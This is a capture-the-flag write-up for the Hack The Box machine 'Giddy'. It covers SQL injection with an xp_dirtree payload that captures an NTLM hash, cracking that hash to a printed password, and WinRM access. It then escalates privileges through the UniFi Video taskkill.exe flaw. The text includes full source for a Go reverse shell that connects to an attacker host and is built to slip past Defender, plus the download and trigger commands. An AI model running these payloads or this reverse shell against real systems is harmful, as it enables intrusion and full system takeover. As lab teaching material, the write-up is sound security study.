Giddy Writeup

13 June 2023 #CTF #HTB #box #medium #windows

Giddy info

Enumeration

nmap

$ sudo nmap -sC -sV 10.10.10.104
[...]
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_ssl-date: 2023-05-26T17:12:17+00:00; 0s from scanner time.
|_http-title: IIS Windows Server
| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
| Issuer: commonName=PowerShellWebAccessTestWebSite
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2018-06-16T21:28:55
| Not valid after:  2018-09-14T21:28:55
| MD5:   78a74af53b09c882a149f977cf8f1182
|_SHA-1: 8adc3379878af13f0154406a3eadd34569676a23
| tls-alpn: 
|   h2
|_  http/1.1
|_http-server-header: Microsoft-IIS/10.0
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2023-05-26T17:12:17+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Giddy
| Issuer: commonName=Giddy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-25T17:04:21
| Not valid after:  2023-11-24T17:04:21
| MD5:   549d099fd6966911ef38796317a27d3c
|_SHA-1: a4757d19d08019825357db01a89ea75338dd61ef
| rdp-ntlm-info: 
|   Target_Name: GIDDY
|   NetBIOS_Domain_Name: GIDDY
|   NetBIOS_Computer_Name: GIDDY
|   DNS_Domain_Name: Giddy
|   DNS_Computer_Name: Giddy
|   Product_Version: 10.0.14393
|_  System_Time: 2023-05-26T17:12:12+00:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
[...]

HTTP

When accessing the website, we get a cute doggo pic:

doggo pic

If we download this image and run binwalk on it, we get something seemingly interesting:

$ binwalk giddy.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
32909         0x808D          MySQL MISAM compressed data file Version 2

Apparently, the signature for the MySQL MISAM file type is very short, so if you see it, chances are it's a false positive (don't waste your time like me).

Moving on, let's do a bit of directory bruteforcing:

$ gobuster dir -u http://10.10.10.104/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
[...]
/aspnet_client   (Status: 301) [Size: 157] [--> http://10.10.10.104/aspnet_client/]
/.               (Status: 200) [Size: 700]
/remote          (Status: 302) [Size: 157] [--> /Remote/default.aspx?ReturnUrl=%2fremote]
/mvc             (Status: 301) [Size: 147] [--> http://10.10.10.104/mvc/]

We don't care about /aspnet_client, it's a default IIS directory and most likely empty.

On /remote, there is a PowerShell Web Access endpoint:

powershell web access

We don't have any creds yet so it's not really useful for us.

On /mvc/, there's a classic e-commerce web app:

web app

Clinking on the links under "Product Name", we get a listing of products:

product page

There is a parameter in the URL, appending a single quote (') produces an error:

SQL error

This clearly indicates that this endpoint is vulnerable to SQL injection.

Foothold

We can use sqlmap to dump the database, but it this case, there isn't anything useful in it. What we can do is try to use the xp_dirtree stored procedure (in MSSQL) to force the account running the DB to authenticate to our box.

First launch responder or the impacket's smbserver:

$ impacket-smbserver public .
[...]

Then let's use a stacked query (with a ;) to do our thing:

use xp_dirtree in SQLi

Payload: ;EXEC master..xp_dirtree "\\10.10.14.14\asdf\asdf" (you can put anything for the share and file name, but make sure to put something).

We get immediately a hit on our box:

[...]
[*] Incoming connection (10.10.10.104,49704)
[*] AUTHENTICATE_MESSAGE (GIDDY\Stacy,GIDDY)
[*] User GIDDY\Stacy authenticated successfully
[*] Stacy::GIDDY:aaaaaaaaaaaaaaaa:3283842fd972b4631062d45a03fb4dc4:0101000000000000004e85da9090d9018255811ba4e101110000000001001000610061007900520047006b006f00430003001000610061007900520047006b006f00430002001000690063004f007900740068004f00750004001000690063004f007900740068004f00750007000800004e85da9090d901060004000200000008003000300000000000000000000000003000003c3f7e86f14b4ce08988c433a68b3b596943d9b0564e9c22bf6538bbfefc85790a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003400000000000000000000000000

Let's throw this to hashcat:

$ hashcat hash.txt /usr/share/wordlists/rockyou.txt
[...]
STACY::GIDDY:4427fdd18fdb3583:9d3e6865[...]:xNnWo6272k7x
[...]

We can now login to the box with these creds. We could use the powershell web access thing, but it's so damn slow. Connect to WinRM directly instead with evil-winrm:

$ evil-winrm -i 10.10.10.104 -u stacy -p xNnWo6272k7x

[...]
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Stacy\Documents>

Privesc

The first thing i like doing when getting access to a windows box is checking the powershell history. We can use this one-liner to display history files we have read access to:

foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}

In this case, we have something in the history for Stacy:

net stop unifivideoservice
$ExecutionContext.SessionState.LanguageMode
Stop-Service -Name Unifivideoservice -Force
Get-Service -Name Unifivideoservice
whoami
Get-Service -ServiceName UniFiVideoService

It seems like she was playing around with this UniFiVideoService. After digging around the filesystem, we can find the directory for this service in C:\ProgramData\unifi-video. We can get the version in C:\ProgramData\unifi-video\data\system.properties:

*Evil-WinRM* PS C:\programdata\unifi-video\data> cat system.properties
# unifi-video v3.7.3
#Sat Jun 16 21:58:13 EDT 2018
is_default=false
uuid=e79d440a-62cd-4274-95c3-d746cbb3b817
# app.http.port = 7080
# app.https.port = 7443
[...]

There is a CVE for this version.

Upon start and stop of the service, it tries to load and execute the file at "C:\ProgramData\unifi-video\taskkill.exe". However this file does not exist in the application directory by default at all.

By copying an arbitrary "taskkill.exe" to "C:\ProgramData\unifi-video" as an unprivileged user, it is therefore possible to escalate privileges and execute arbitrary code as NT AUTHORITY/SYSTEM.

C:\ProgramData is a world-writable directory, so C:\ProgramData\unifi-video inherits these permissions by default.

If we use msfvenom to generate a reverse shell executable, it would get flagged by Defender so we need something a bit more custom. One easy way is to write a very simple Golang reverse shell.

Let's first create the directory and module:

$ mkdir rev
$ cd rev
$ go mod init rev
go: creating new go.mod: module rev

The code looks like this:

package main

import (
    "bufio"
    "fmt"
    "net"
    "os/exec"
    "strings"
)

func main() {
    conn, _ := net.Dial("tcp", "10.10.14.14:443")

    for {
        cmd, _ := bufio.NewReader(conn).ReadString('\n')
        out, err := exec.Command(strings.TrimSuffix(cmd, "\n")).Output()
        if err != nil {
            fmt.Fprintf(conn, "%s\n",err)
        }
        fmt.Fprintf(conn, "%s\n",out)
    }
}

Cross-compiling with Go is very easy:

$ GOOS=windows GOARCH=amd64 go build -ldflags='-w -s'

-ldflags='-w -s' is there to remove debug symbols and shrink the size of the binary.

We'll download the executable from our python webserver and stop the service to trigger the execution of the reverse shell:

*Evil-WinRM* PS C:\programdata\unifi-video> iwr http://10.10.14.14/rev.exe -o taskkill.exe
*Evil-WinRM* PS C:\programdata\unifi-video> sc.exe stop UniFiVideoService

SERVICE_NAME: UniFiVideoService
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x2
        WAIT_HINT          : 0xbb8

After a few seconds, we get a hit on our nc listener:

$ nc -lnvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.104.
Ncat: Connection from 10.10.10.104:49742.
whoami
nt authority\system

Key Takeaways